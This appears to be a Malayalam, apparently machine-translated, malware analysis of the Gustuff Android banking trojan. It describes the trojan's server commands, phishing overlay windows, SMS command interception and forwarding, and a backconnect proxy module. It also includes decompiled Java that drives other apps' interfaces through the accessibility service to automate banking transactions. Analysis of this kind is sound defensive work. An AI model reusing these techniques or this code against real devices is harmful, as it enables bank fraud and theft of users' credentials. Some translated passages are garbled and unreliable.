ഫോൺ നമ്പറുകൾ അപ്‌ലോഡ് ചെയ്യുക	നിങ്ങളുടെ കോൺടാക്റ്റ് ലിസ്റ്റിൽ നിന്ന് സെർവറിലേക്ക് ഫോൺ നമ്പറുകൾ അയയ്ക്കുക. "ab" എന്ന കീ ഉള്ള ഒരു JSON ഒബ്‌ജക്റ്റ് മൂല്യം ഒരു പാരാമീറ്ററായി ലഭിച്ചാൽ, ഫോൺ ബുക്കിൽ നിന്ന് അപ്ലിക്കേഷന് കോൺടാക്‌റ്റുകളുടെ ഒരു ലിസ്റ്റ് ലഭിക്കും. "sms" എന്ന കീ ഉള്ള ഒരു JSON ഒബ്‌ജക്റ്റ് ഒരു പാരാമീറ്ററായി ലഭിച്ചാൽ, SMS സന്ദേശങ്ങൾ അയച്ചവരിൽ നിന്നുള്ള കോൺടാക്റ്റുകളുടെ ലിസ്റ്റ് ആപ്ലിക്കേഷൻ വായിക്കുന്നു.
ആർക്കൈവ് മാറ്റുക	"url" കീ ഉപയോഗിച്ച് ഒരു പാരാമീറ്ററായി വരുന്ന വിലാസത്തിൽ നിന്ന് ആപ്ലിക്കേഷൻ ഫയൽ ഡൗൺലോഡ് ചെയ്യുന്നു. ഡൗൺലോഡ് ചെയ്ത ഫയൽ "archive.zip" എന്ന പേരിൽ സംരക്ഷിച്ചിരിക്കുന്നു. "b5jXh37gxgHBrZhQ4j3D" എന്ന ആർക്കൈവ് പാസ്‌വേഡ് ഉപയോഗിച്ച്, ആപ്ലിക്കേഷൻ ഫയൽ അൺസിപ്പ് ചെയ്യും. അൺസിപ്പ് ചെയ്ത ഫയലുകൾ [ബാഹ്യ സംഭരണം]/hgps ഡയറക്‌ടറിയിൽ സംരക്ഷിച്ചിരിക്കുന്നു. ഈ ഡയറക്ടറിയിൽ, ആപ്ലിക്കേഷൻ വെബ് വ്യാജങ്ങൾ സംഭരിക്കുന്നു (ചുവടെ വിവരിച്ചിരിക്കുന്നു).
ഓഹരി	ഒരു പ്രത്യേക വിഭാഗത്തിൽ വിവരിച്ചിരിക്കുന്ന ആക്ഷൻ സേവനവുമായി പ്രവർത്തിക്കുന്നതിനാണ് കമാൻഡ് രൂപകൽപ്പന ചെയ്തിരിക്കുന്നത്.
പരിശോധന	ഒന്നും ചെയ്യാതെ.
ഡൗൺലോഡ്	ഒരു റിമോട്ട് സെർവറിൽ നിന്ന് ഒരു ഫയൽ ഡൌൺലോഡ് ചെയ്ത് "ഡൗൺലോഡുകൾ" ഡയറക്‌ടറിയിലേക്ക് സംരക്ഷിക്കാനാണ് കമാൻഡ് ഉദ്ദേശിക്കുന്നത്. URL-ഉം ഫയലിന്റെ പേരും യഥാക്രമം JSON പാരാമീറ്റർ ഒബ്‌ജക്‌റ്റിലെ ഒരു പാരാമീറ്ററായി വരുന്നു: “url”, “fileName”.
നീക്കം	"ഡൗൺലോഡുകൾ" ഡയറക്ടറിയിൽ നിന്ന് ഒരു ഫയൽ നീക്കം ചെയ്യുന്നു. "fileName" കീ ഉള്ള JSON പാരാമീറ്ററിലാണ് ഫയലിന്റെ പേര് വരുന്നത്. സ്റ്റാൻഡേർഡ് ഫയലിന്റെ പേര് "tmp.apk" ആണ്.
അറിയിപ്പ്	മാനേജുമെന്റ് സെർവർ നിർവചിച്ച വിവരണവും ശീർഷക വാചകങ്ങളും ഉള്ള ഒരു അറിയിപ്പ് കാണിക്കുക.

കമാൻഡ് ഫോർമാറ്റ് അറിയിപ്പ്:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

അന്വേഷണത്തിലുള്ള ഫയൽ സൃഷ്ടിച്ച അറിയിപ്പ് ഫീൽഡിൽ വ്യക്തമാക്കിയ ആപ്ലിക്കേഷൻ സൃഷ്ടിച്ച അറിയിപ്പുകൾക്ക് സമാനമാണ് അപ്ലിക്കേഷൻ. ഫീൽഡ് മൂല്യമാണെങ്കിൽ openApp - ശരിയാണ്, ഒരു അറിയിപ്പ് തുറക്കുമ്പോൾ, ഫീൽഡിൽ വ്യക്തമാക്കിയ ആപ്ലിക്കേഷൻ സമാരംഭിക്കും അപ്ലിക്കേഷൻ. ഫീൽഡ് മൂല്യമാണെങ്കിൽ openApp - തെറ്റ്, അപ്പോൾ:

• ഒരു ഫിഷിംഗ് വിൻഡോ തുറക്കുന്നു, അതിന്റെ ഉള്ളടക്കങ്ങൾ ഡയറക്ടറിയിൽ നിന്ന് ഡൗൺലോഡ് ചെയ്യുന്നു <%ബാഹ്യ സംഭരണം%>/hgps/<%filename%>
• ഒരു ഫിഷിംഗ് വിൻഡോ തുറക്കുന്നു, അതിലെ ഉള്ളടക്കങ്ങൾ സെർവറിൽ നിന്ന് ഡൗൺലോഡ് ചെയ്യുന്നു <%url%>?id=<%Bot id%>&app=<%അപ്ലിക്കേഷന്റെ പേര്%>
• ഒരു ഗൂഗിൾ പ്ലേ കാർഡായി വേഷംമാറി, കാർഡ് വിശദാംശങ്ങൾ നൽകാനുള്ള അവസരത്തോടെ ഒരു ഫിഷിംഗ് വിൻഡോ തുറക്കുന്നു.

ആപ്ലിക്കേഷൻ ഏത് കമാൻഡിന്റെയും ഫലം അയയ്ക്കുന്നു <%CnC%>set_state.php ഇനിപ്പറയുന്ന ഫോർമാറ്റിൽ ഒരു JSON ഒബ്‌ജക്റ്റ് ആയി:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

പ്രവർത്തന സേവനം
ആപ്ലിക്കേഷൻ പ്രോസസ്സുകളിൽ ഉൾപ്പെടുന്ന കമാൻഡുകളുടെ ലിസ്റ്റ് നടപടി. ഒരു കമാൻഡ് ലഭിക്കുമ്പോൾ, വിപുലീകൃത കമാൻഡ് എക്സിക്യൂട്ട് ചെയ്യുന്നതിന് കമാൻഡ് പ്രോസസ്സിംഗ് മൊഡ്യൂൾ ഈ സേവനം ആക്സസ് ചെയ്യുന്നു. സേവനം ഒരു JSON ഒബ്‌ജക്‌റ്റിനെ ഒരു പാരാമീറ്ററായി സ്വീകരിക്കുന്നു. സേവനത്തിന് ഇനിപ്പറയുന്ന കമാൻഡുകൾ നടപ്പിലാക്കാൻ കഴിയും:

1. PARAMS_ACTION - അത്തരമൊരു കമാൻഡ് ലഭിക്കുമ്പോൾ, സേവനത്തിന് ആദ്യം JSON പാരാമീറ്ററിൽ നിന്ന് ടൈപ്പ് കീയുടെ മൂല്യം ലഭിക്കുന്നു, അത് ഇനിപ്പറയുന്നതായിരിക്കാം:

• സർവീസ് ഇൻഫോ - ഉപകമാൻഡിന് JSON പാരാമീറ്ററിൽ നിന്ന് കീ വഴി മൂല്യം ലഭിക്കുന്നു പ്രധാനമല്ല. ഫ്ലാഗ് ശരിയാണെങ്കിൽ, ആപ്ലിക്കേഷൻ ഫ്ലാഗ് സജ്ജീകരിക്കുന്നു FLAG_ISOLATED_PROCESS പ്രവേശനക്ഷമത സേവനം ഉപയോഗിക്കുന്ന ഒരു സേവനത്തിലേക്ക്. ഈ രീതിയിൽ ഒരു പ്രത്യേക പ്രക്രിയയിൽ സേവനം ആരംഭിക്കും.
• വേര് — നിലവിൽ ഫോക്കസിലുള്ള വിൻഡോയെക്കുറിച്ചുള്ള വിവരങ്ങൾ സ്വീകരിക്കുകയും സെർവറിലേക്ക് അയയ്ക്കുകയും ചെയ്യുക. AccessibilityNodeInfo ക്ലാസ് ഉപയോഗിച്ച് ആപ്ലിക്കേഷൻ വിവരങ്ങൾ നേടുന്നു.
• അഡ്മിൻ - അഡ്മിനിസ്ട്രേറ്റർ അവകാശങ്ങൾ അഭ്യർത്ഥിക്കുക.
• കാലതാമസം — “ഡാറ്റ” കീയ്‌ക്കായുള്ള പാരാമീറ്ററിൽ വ്യക്തമാക്കിയ മില്ലിസെക്കൻഡുകളുടെ എണ്ണം ആക്‌ഷൻസ് സർവീസ് താൽക്കാലികമായി നിർത്തുക.
• Windows — ഉപയോക്താവിന് ദൃശ്യമാകുന്ന വിൻഡോകളുടെ ഒരു ലിസ്റ്റ് അയയ്ക്കുക.
• ഇൻസ്റ്റാൾ ചെയ്യുക - രോഗം ബാധിച്ച ഉപകരണത്തിൽ ആപ്ലിക്കേഷൻ ഇൻസ്റ്റാൾ ചെയ്യുക. ആർക്കൈവ് പാക്കേജിന്റെ പേര് "fileName" കീയിലാണ്. ആർക്കൈവ് തന്നെ ഡൗൺലോഡ് ഡയറക്ടറിയിലാണ് സ്ഥിതി ചെയ്യുന്നത്.
• ഗ്ലോബൽ - സബ്കമാൻഡ് നിലവിലെ വിൻഡോയിൽ നിന്ന് നാവിഗേറ്റ് ചെയ്യാൻ ഉദ്ദേശിച്ചുള്ളതാണ്:
  • ദ്രുത ക്രമീകരണ മെനുവിൽ
  • പിന്നിലേക്ക്
  • വീട്
  • അറിയിപ്പുകളിലേക്ക്
  • അടുത്തിടെ തുറന്ന ആപ്ലിക്കേഷനുകളുടെ വിൻഡോയിലേക്ക്

• സമാരംഭിക്കുക - ആപ്ലിക്കേഷൻ സമാരംഭിക്കുക. ആപ്ലിക്കേഷന്റെ പേര് കീ പ്രകാരം ഒരു പാരാമീറ്ററായി വരുന്നു ഡാറ്റ.
• ശബ്ദങ്ങൾ - ശബ്ദ മോഡ് നിശബ്ദതയിലേക്ക് മാറ്റുക.
• അൺലോക്ക് - സ്ക്രീനിന്റെയും കീബോർഡിന്റെയും ബാക്ക്ലൈറ്റ് പൂർണ്ണ തെളിച്ചത്തിലേക്ക് തിരിയുന്നു. [അപ്ലിക്കേഷൻ ലേബിൾ]: INFO എന്ന സ്ട്രിംഗ് ഒരു ടാഗായി വ്യക്തമാക്കിക്കൊണ്ട്, WakeLock ഉപയോഗിച്ച് ആപ്ലിക്കേഷൻ ഈ പ്രവർത്തനം നടത്തുന്നു.
• അനുമതി ഓവർലേ — ഫംഗ്‌ഷൻ നടപ്പിലാക്കിയിട്ടില്ല (കമാൻഡ് എക്‌സിക്യൂഷനോടുള്ള പ്രതികരണം {"message":"പിന്തുണയില്ല"} അല്ലെങ്കിൽ {"message":"low sdk"})
• ആംഗ്യ — ഫംഗ്‌ഷൻ നടപ്പിലാക്കിയിട്ടില്ല (കമാൻഡ് എക്‌സിക്യൂഷനോടുള്ള പ്രതികരണം {"message":"പിന്തുണയില്ല"}അല്ലെങ്കിൽ {"message":"Low API"})
• അനുമതികൾ - അപ്ലിക്കേഷന് അനുമതികൾ അഭ്യർത്ഥിക്കാൻ ഈ കമാൻഡ് ആവശ്യമാണ്. എന്നിരുന്നാലും, അന്വേഷണ പ്രവർത്തനം നടപ്പിലാക്കിയിട്ടില്ല, അതിനാൽ കമാൻഡ് അർത്ഥശൂന്യമാണ്. അഭ്യർത്ഥിച്ച അവകാശങ്ങളുടെ ലിസ്റ്റ് "അനുമതികൾ" കീ ഉള്ള ഒരു JSON അറേ ആയി വരുന്നു. സ്റ്റാൻഡേർഡ് ലിസ്റ്റ്:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• തുറക്കുക — ഒരു ഫിഷിംഗ് വിൻഡോ പ്രദർശിപ്പിക്കുക. സെർവറിൽ നിന്ന് വരുന്ന പാരാമീറ്ററിനെ ആശ്രയിച്ച്, ആപ്ലിക്കേഷൻ ഇനിപ്പറയുന്ന ഫിഷിംഗ് വിൻഡോകൾ പ്രദർശിപ്പിച്ചേക്കാം:
  • ഒരു ഡയറക്‌ടറിയിലെ ഒരു ഫയലിൽ ഉള്ളടക്കങ്ങൾ എഴുതിയിരിക്കുന്ന ഒരു ഫിഷിംഗ് വിൻഡോ കാണിക്കുക <%ബാഹ്യ ഡയറക്ടറി%>/hgps/<%param_filename%>. വിൻഡോയുമായുള്ള ഉപയോക്തൃ ഇടപെടലിന്റെ ഫലം ഇതിലേക്ക് അയയ്ക്കും <%CnC%>/records.php
  • വിലാസത്തിൽ നിന്ന് മുൻകൂട്ടി ലോഡുചെയ്ത ഉള്ളടക്കമുള്ള ഒരു ഫിഷിംഗ് വിൻഡോ കാണിക്കുക <%url_param%>?id=<%bot_id%>&app=<%packagename%>. വിൻഡോയുമായുള്ള ഉപയോക്തൃ ഇടപെടലിന്റെ ഫലം ഇതിലേക്ക് അയയ്ക്കും <%CnC%>/records.php
  • ഒരു ഗൂഗിൾ പ്ലേ കാർഡായി വേഷമിട്ട ഒരു ഫിഷിംഗ് വിൻഡോ കാണിക്കുക.

• ഇന്ററാക്ടീവ് - ആക്‌സസിബിലിറ്റി സർവീസ് ഉപയോഗിച്ച് മറ്റ് ആപ്ലിക്കേഷനുകളുടെ വിൻഡോ ഘടകങ്ങളുമായി സംവദിക്കുന്നതിനാണ് കമാൻഡ് രൂപകൽപ്പന ചെയ്തിരിക്കുന്നത്. ആശയവിനിമയത്തിനായി ഒരു പ്രത്യേക സേവനം പ്രോഗ്രാമിൽ നടപ്പിലാക്കിയിട്ടുണ്ട്. അന്വേഷണത്തിലുള്ള അപ്ലിക്കേഷന് വിൻഡോകളുമായി സംവദിക്കാൻ കഴിയും:
  • നിലവിൽ സജീവമാണ്. ഈ സാഹചര്യത്തിൽ, പാരാമീറ്ററിൽ നിങ്ങൾ സംവദിക്കേണ്ട ഒബ്ജക്റ്റിന്റെ ഐഡി അല്ലെങ്കിൽ വാചകം (പേര്) അടങ്ങിയിരിക്കുന്നു.
  • കമാൻഡ് എക്സിക്യൂട്ട് ചെയ്യുന്ന സമയത്ത് ഉപയോക്താവിന് ദൃശ്യമാകും. ഐഡി പ്രകാരം ആപ്ലിക്കേഷൻ വിൻഡോകൾ തിരഞ്ഞെടുക്കുന്നു.

  വസ്തുക്കൾ സ്വീകരിച്ചു പ്രവേശനക്ഷമതNodeInfo താൽപ്പര്യമുള്ള വിൻഡോ ഘടകങ്ങൾക്കായി, പാരാമീറ്ററുകൾ അനുസരിച്ച് അപ്ലിക്കേഷന് ഇനിപ്പറയുന്ന പ്രവർത്തനങ്ങൾ ചെയ്യാൻ കഴിയും:

  • ഫോക്കസ് - ഒബ്ജക്റ്റിലേക്ക് ഫോക്കസ് സജ്ജമാക്കുക.
  • ക്ലിക്ക് — ഒരു വസ്തുവിൽ ക്ലിക്ക് ചെയ്യുക.
  • actionId — ഐഡി പ്രകാരം ഒരു പ്രവർത്തനം നടത്തുക.
  • setText — ഒരു വസ്തുവിന്റെ ടെക്സ്റ്റ് മാറ്റുക. വാചകം മാറ്റുന്നത് രണ്ട് തരത്തിൽ സാധ്യമാണ്: ഒരു പ്രവർത്തനം നടത്തുക ACTION_SET_TEXT (രോഗബാധിതനായ ഉപകരണത്തിന്റെ ആൻഡ്രോയിഡ് പതിപ്പ് ചെറുപ്പമോ തുല്യമോ ആണെങ്കിൽ ലോലിപോപ്പ്), അല്ലെങ്കിൽ ക്ലിപ്പ്ബോർഡിൽ ഒരു സ്ട്രിംഗ് സ്ഥാപിച്ച് ഒരു ഒബ്ജക്റ്റിൽ ഒട്ടിക്കുക (പഴയ പതിപ്പുകൾക്ക്). ഒരു ബാങ്കിംഗ് ആപ്ലിക്കേഷനിലെ ഡാറ്റ മാറ്റാൻ ഈ കമാൻഡ് ഉപയോഗിക്കാം.

2. PARAMS_ACTIONS - അതേ പോലെ PARAMS_ACTION, JSON കമാൻഡുകളുടെ ഒരു നിര മാത്രമേ വരുന്നുള്ളൂ.

മറ്റൊരു ആപ്ലിക്കേഷന്റെ വിൻഡോ ഘടകങ്ങളുമായി ഇടപഴകുന്നതിന്റെ പ്രവർത്തനം എങ്ങനെയായിരിക്കുമെന്ന് പലർക്കും താൽപ്പര്യമുണ്ടെന്ന് തോന്നുന്നു. ഗസ്റ്റഫിൽ ഈ പ്രവർത്തനം നടപ്പിലാക്കുന്നത് ഇങ്ങനെയാണ്:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

ടെക്സ്റ്റ് മാറ്റിസ്ഥാപിക്കൽ പ്രവർത്തനം:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

അതിനാൽ, കൺട്രോൾ സെർവറിന്റെ ശരിയായ കോൺഫിഗറേഷൻ ഉപയോഗിച്ച്, ബാങ്കിംഗ് ആപ്ലിക്കേഷനിൽ ടെക്സ്റ്റ് ഫീൽഡുകൾ പൂരിപ്പിക്കാനും ഇടപാട് പൂർത്തിയാക്കാൻ ആവശ്യമായ ബട്ടണുകളിൽ ക്ലിക്ക് ചെയ്യാനും ഗസ്റ്റഫിന് കഴിയും. ട്രോജനിന് ആപ്ലിക്കേഷനിലേക്ക് ലോഗിൻ ചെയ്യേണ്ട ആവശ്യമില്ല - ഒരു പുഷ് അറിയിപ്പ് പ്രദർശിപ്പിക്കുന്നതിന് ഒരു കമാൻഡ് അയച്ച് മുമ്പ് ഇൻസ്റ്റാൾ ചെയ്ത ബാങ്കിംഗ് ആപ്ലിക്കേഷൻ തുറക്കാൻ ഇത് മതിയാകും. ഉപയോക്താവ് സ്വയം പ്രാമാണീകരിക്കും, അതിനുശേഷം ഗസ്റ്റഫിന് കാർ നിറയ്ക്കാൻ കഴിയും.

SMS സന്ദേശ പ്രോസസ്സിംഗ് മൊഡ്യൂൾ

എസ്എംഎസ് സന്ദേശങ്ങൾ സ്വീകരിക്കുന്നതിന്, രോഗം ബാധിച്ച ഉപകരണത്തിനായി ആപ്ലിക്കേഷൻ ഒരു ഇവന്റ് ഹാൻഡ്‌ലർ ഇൻസ്റ്റാൾ ചെയ്യുന്നു. പഠനത്തിൻ കീഴിലുള്ള ആപ്ലിക്കേഷന്, SMS സന്ദേശത്തിന്റെ ബോഡിയിൽ വരുന്ന ഓപ്പറേറ്ററിൽ നിന്ന് കമാൻഡുകൾ സ്വീകരിക്കാൻ കഴിയും. കമാൻഡുകൾ ഫോർമാറ്റിൽ വരുന്നു:

7!5=<%Base64 എൻകോഡ് ചെയ്ത കമാൻഡ്%>

എല്ലാ ഇൻകമിംഗ് SMS സന്ദേശങ്ങളിലും സ്ട്രിംഗിനായി ആപ്ലിക്കേഷൻ തിരയുന്നു 7!5=, ഒരു സ്ട്രിംഗ് കണ്ടെത്തുമ്പോൾ, അത് ഓഫ്സെറ്റ് 64-ൽ Base4-ൽ നിന്ന് സ്ട്രിംഗ് ഡീകോഡ് ചെയ്യുകയും കമാൻഡ് എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യുന്നു. കമാൻഡുകൾ CnC ഉള്ളതിന് സമാനമാണ്. കമാൻഡ് വന്ന അതേ നമ്പറിലേക്ക് എക്സിക്യൂഷൻ ഫലം അയയ്ക്കുന്നു. പ്രതികരണ ഫോർമാറ്റ്:

7*5=<%Base64 "result_code കമാൻഡ്"%> എൻകോഡ്

ഓപ്ഷണലായി, ആപ്ലിക്കേഷന് ലഭിച്ച എല്ലാ സന്ദേശങ്ങളും റൂട്ട് നമ്പറിലേക്ക് അയയ്ക്കാൻ കഴിയും. ഇത് ചെയ്യുന്നതിന്, മുൻഗണനാ ഫയലിൽ റൂട്ട് നമ്പർ വ്യക്തമാക്കുകയും സന്ദേശ റീഡയറക്ഷൻ ഫ്ലാഗ് സജ്ജീകരിക്കുകയും വേണം. ഫോർമാറ്റിൽ ആക്രമണകാരിയുടെ നമ്പറിലേക്ക് ഒരു SMS സന്ദേശം അയയ്ക്കുന്നു:

<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS ബോഡി%>

കൂടാതെ, ഓപ്ഷണലായി, അപ്ലിക്കേഷന് CnC ലേക്ക് സന്ദേശങ്ങൾ അയയ്ക്കാൻ കഴിയും. എസ്എംഎസ് സന്ദേശം സെർവറിലേക്ക് JSON ഫോർമാറ്റിൽ അയച്ചു:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

പതാക സജ്ജമാക്കിയാൽ നെയിംജനറേറ്റർ("DEFAULT_APP_SMS") - ആപ്ലിക്കേഷൻ SMS സന്ദേശം പ്രോസസ്സ് ചെയ്യുന്നത് നിർത്തുകയും ഇൻകമിംഗ് സന്ദേശങ്ങളുടെ ലിസ്റ്റ് മായ്‌ക്കുകയും ചെയ്യുന്നു.

പ്രോക്സി മൊഡ്യൂൾ

പഠനത്തിൻ കീഴിലുള്ള ആപ്ലിക്കേഷനിൽ ഒരു ബാക്ക്‌കണക്‌ട് പ്രോക്‌സി മൊഡ്യൂൾ അടങ്ങിയിരിക്കുന്നു (ഇനിമുതൽ പ്രോക്‌സി മൊഡ്യൂൾ എന്ന് വിളിക്കുന്നു), അതിന് കോൺഫിഗറേഷനോടുകൂടിയ സ്റ്റാറ്റിക് ഫീൽഡുകൾ ഉൾപ്പെടുന്ന ഒരു പ്രത്യേക ക്ലാസ് ഉണ്ട്. കോൺഫിഗറേഷൻ ഡാറ്റ സാമ്പിളിൽ വ്യക്തമായ രൂപത്തിൽ സംഭരിച്ചിരിക്കുന്നു:

പ്രോക്‌സി മൊഡ്യൂൾ നടത്തുന്ന എല്ലാ പ്രവർത്തനങ്ങളും ഫയലുകളിലേക്ക് ലോഗിൻ ചെയ്‌തിരിക്കുന്നു. ഇത് ചെയ്യുന്നതിന്, എക്സ്റ്റേണൽ സ്റ്റോറേജിലെ ആപ്ലിക്കേഷൻ "ലോഗുകൾ" (കോൺഫിഗറേഷൻ ക്ലാസിലെ ProxyConfigClass.logsDir ഫീൽഡ്) എന്ന് വിളിക്കുന്ന ഒരു ഡയറക്ടറി സൃഷ്ടിക്കുന്നു, അതിൽ ലോഗ് ഫയലുകൾ സംഭരിക്കുന്നു. പേരുകളുള്ള ഫയലുകളിൽ ലോഗിംഗ് സംഭവിക്കുന്നു:

1. main.txt – CommandServer എന്ന ക്ലാസിന്റെ വർക്ക് ഈ ഫയലിൽ ലോഗിൻ ചെയ്തിരിക്കുന്നു. ഇനിപ്പറയുന്നവയിൽ, ഈ ഫയലിലേക്ക് string str ലോഗിൻ ചെയ്യുന്നത് mainLog(str) ആയി സൂചിപ്പിക്കും.
2. സെഷൻ-<%id%>.txt — ഈ ഫയൽ ഒരു പ്രത്യേക പ്രോക്സി സെഷനുമായി ബന്ധപ്പെട്ട ലോഗ് ഡാറ്റ സംരക്ഷിക്കുന്നു. ഇനിപ്പറയുന്നവയിൽ, ഈ ഫയലിലേക്ക് സ്‌ട്രിംഗ് str ലോഗിൻ ചെയ്യുന്നത് സെഷൻലോഗ് (str) ആയി സൂചിപ്പിക്കും.
3. server.txt - മുകളിൽ വിവരിച്ച ഫയലുകളിലേക്ക് എഴുതിയ എല്ലാ ഡാറ്റയും ലോഗ് ചെയ്യാൻ ഈ ഫയൽ ഉപയോഗിക്കുന്നു.

ലോഗ് ഡാറ്റ ഫോർമാറ്റ്:

<%Date%> [ത്രെഡ്[<%thread id%>], id[]]: ലോഗ്-സ്ട്രിംഗ്

പ്രോക്‌സി മൊഡ്യൂളിന്റെ പ്രവർത്തന സമയത്ത് സംഭവിക്കുന്ന ഒഴിവാക്കലുകളും ഒരു ഫയലിലേക്ക് ലോഗ് ചെയ്‌തിരിക്കുന്നു. ഇത് ചെയ്യുന്നതിന്, ആപ്ലിക്കേഷൻ ഇനിപ്പറയുന്ന ഫോർമാറ്റിൽ ഒരു JSON ഒബ്ജക്റ്റ് സൃഷ്ടിക്കുന്നു:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

തുടർന്ന് അത് ഒരു സ്ട്രിംഗ് റെപ്രെസന്റേഷനിലേക്ക് പരിവർത്തനം ചെയ്യുകയും ലോഗ് ചെയ്യുകയും ചെയ്യുന്നു.

അനുബന്ധ കമാൻഡ് ലഭിച്ചതിന് ശേഷം പ്രോക്സി മൊഡ്യൂൾ സമാരംഭിക്കുന്നു. പ്രോക്സി മൊഡ്യൂൾ സമാരംഭിക്കുന്നതിനുള്ള ഒരു കമാൻഡ് ലഭിക്കുമ്പോൾ, ആപ്ലിക്കേഷൻ ഒരു സേവനം ആരംഭിക്കുന്നു പ്രധാന സേവനം, പ്രോക്സി മൊഡ്യൂളിന്റെ പ്രവർത്തനം നിയന്ത്രിക്കുന്നതിനുള്ള ഉത്തരവാദിത്തം - അത് ആരംഭിക്കുന്നതും നിർത്തുന്നതും.

സേവനം ആരംഭിക്കുന്നതിനുള്ള ഘട്ടങ്ങൾ:

1. മിനിറ്റിൽ ഒരിക്കൽ പ്രവർത്തിക്കുന്ന ഒരു ടൈമർ ആരംഭിക്കുകയും പ്രോക്സി മൊഡ്യൂളിന്റെ പ്രവർത്തനം പരിശോധിക്കുകയും ചെയ്യുന്നു. മൊഡ്യൂൾ സജീവമല്ലെങ്കിൽ, അത് ആരംഭിക്കുന്നു.
ഇവന്റ് ട്രിഗർ ചെയ്യുമ്പോൾ android.net.conn.CONNECTIVITY_CHANGE പ്രോക്സി മൊഡ്യൂൾ സമാരംഭിച്ചു.

2. ആപ്ലിക്കേഷൻ പാരാമീറ്റർ ഉപയോഗിച്ച് ഒരു വേക്ക്-ലോക്ക് സൃഷ്ടിക്കുന്നു PARTIAL_WAKE_LOCK അവനെ പിടികൂടുകയും ചെയ്യുന്നു. ഇത് സ്ലീപ്പ് മോഡിലേക്ക് പോകുന്നതിൽ നിന്ന് ഉപകരണ സിപിയുവിനെ തടയുന്നു.

3. പ്രോക്സി മൊഡ്യൂളിന്റെ കമാൻഡ് പ്രോസസ്സിംഗ് ക്ലാസ് സമാരംഭിക്കുന്നു, ആദ്യം ലൈൻ ലോഗ് ചെയ്യുന്നു മെയിൻലോഗ് ("സെർവർ ആരംഭിക്കുക") и

സെർവർ::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

എവിടെ proxy_cnc, command_port, proxy_port - പ്രോക്സി സെർവർ കോൺഫിഗറേഷനിൽ നിന്ന് ലഭിച്ച പാരാമീറ്ററുകൾ.

കമാൻഡ് പ്രോസസ്സിംഗ് ക്ലാസ് എന്ന് വിളിക്കുന്നു കമാൻഡ് കണക്ഷൻ. ആരംഭിച്ച ഉടൻ തന്നെ, ഇനിപ്പറയുന്ന പ്രവർത്തനങ്ങൾ ചെയ്യുന്നു:

4. ലേക്ക് ബന്ധിപ്പിക്കുന്നു ProxyConfigClass.host: ProxyConfigClass.commandPort രോഗബാധിതമായ ഉപകരണത്തെക്കുറിച്ചുള്ള ഡാറ്റ JSON ഫോർമാറ്റിൽ അയയ്ക്കുന്നു:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

എവിടെയാണ്:

• id - ഐഡന്റിഫയർ, "x" എന്ന് പേരുള്ള പങ്കിട്ട മുൻഗണനാ ഫയലിൽ നിന്ന് "id" ഫീൽഡ് ഉപയോഗിച്ച് ഒരു മൂല്യം നേടാൻ ശ്രമിക്കുന്നു. ഈ മൂല്യം നേടാൻ കഴിയുന്നില്ലെങ്കിൽ, അത് പുതിയൊരെണ്ണം സൃഷ്ടിക്കുന്നു. അതിനാൽ, പ്രോക്സി മൊഡ്യൂളിന് അതിന്റേതായ ഐഡന്റിഫയർ ഉണ്ട്, അത് ബോട്ട് ഐഡിക്ക് സമാനമായി സൃഷ്ടിക്കപ്പെടുന്നു.
